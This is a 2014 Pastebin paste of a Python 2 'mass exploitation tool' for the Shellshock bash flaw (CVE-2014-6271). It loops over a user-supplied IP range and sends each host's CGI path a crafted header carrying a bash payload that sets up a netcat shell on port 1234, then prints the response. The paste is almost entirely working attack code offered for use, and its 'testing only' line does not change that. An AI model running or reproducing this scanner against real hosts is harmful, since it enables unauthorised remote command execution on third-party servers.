hemlet

Shellshock_check_by_IP_py

Sep 26th, 2014
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. #CVE-2014-6271 cgi-bin reverse shell
  2. # NOTE :- This Script is not Mine, Just copied a modded one for better use.~hemlet via ~ Un_N0n - mirror via Cyberwarzone.com. This code is publicly available at numerous locations. Please apply caution when running against production equipment. Gaillimh Abu.
  3.  
  4. # Use for testing only not intended for malicious usage
  5.  
  6. import httplib,urllib
  7.  
  8. print '\tCVE-2014-6271 mass exploitation tool\n'
  9. print '\tReverse shell returned on port 1234 ;) *We Love Shells*\n'
  10.  
  11. url = raw_input("Enter The First Three Octets To Scan [Example : xxx.xxx.xxx] : ")
  12. finput = input("Enter the Starting IP of Range to Scan  : ")
  13. sinput = input("Enter the Ending IP of Range to Scan for : ")
  14. print
  15.  
  16. path = raw_input("Enter Vuln CGI Path : ")
  17.  
  18. for x in range(finput,sinput + 1):
  19.     murl = url + "." + str(x)
  20.     conn = httplib.HTTPConnection(murl)
  21.     reverse_shell="() { ignored;};/bin/bash -c '/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f'"
  22.     headers = {"Content-type": "application/x-www-form-urlencoded",
  23.         "test": reverse_shell}
  24.     conn.request("GET",path,headers=headers)
  25.     res = conn.getresponse()
  26.  
  27.     if str(res.status) == '200':
  28.         print "[+] Website Present and Payload Would have been Successfully Sent To. Buy a towel with don't panic written on it.  " + murl + path
  29.         data = res.read()
  30.         print data
  31.     else:
  32.         print "[!]" + murl + path + " Is Not Vulnerable. Beer O'Clock"
Advertisement
Add Comment
Please, Sign In to add comment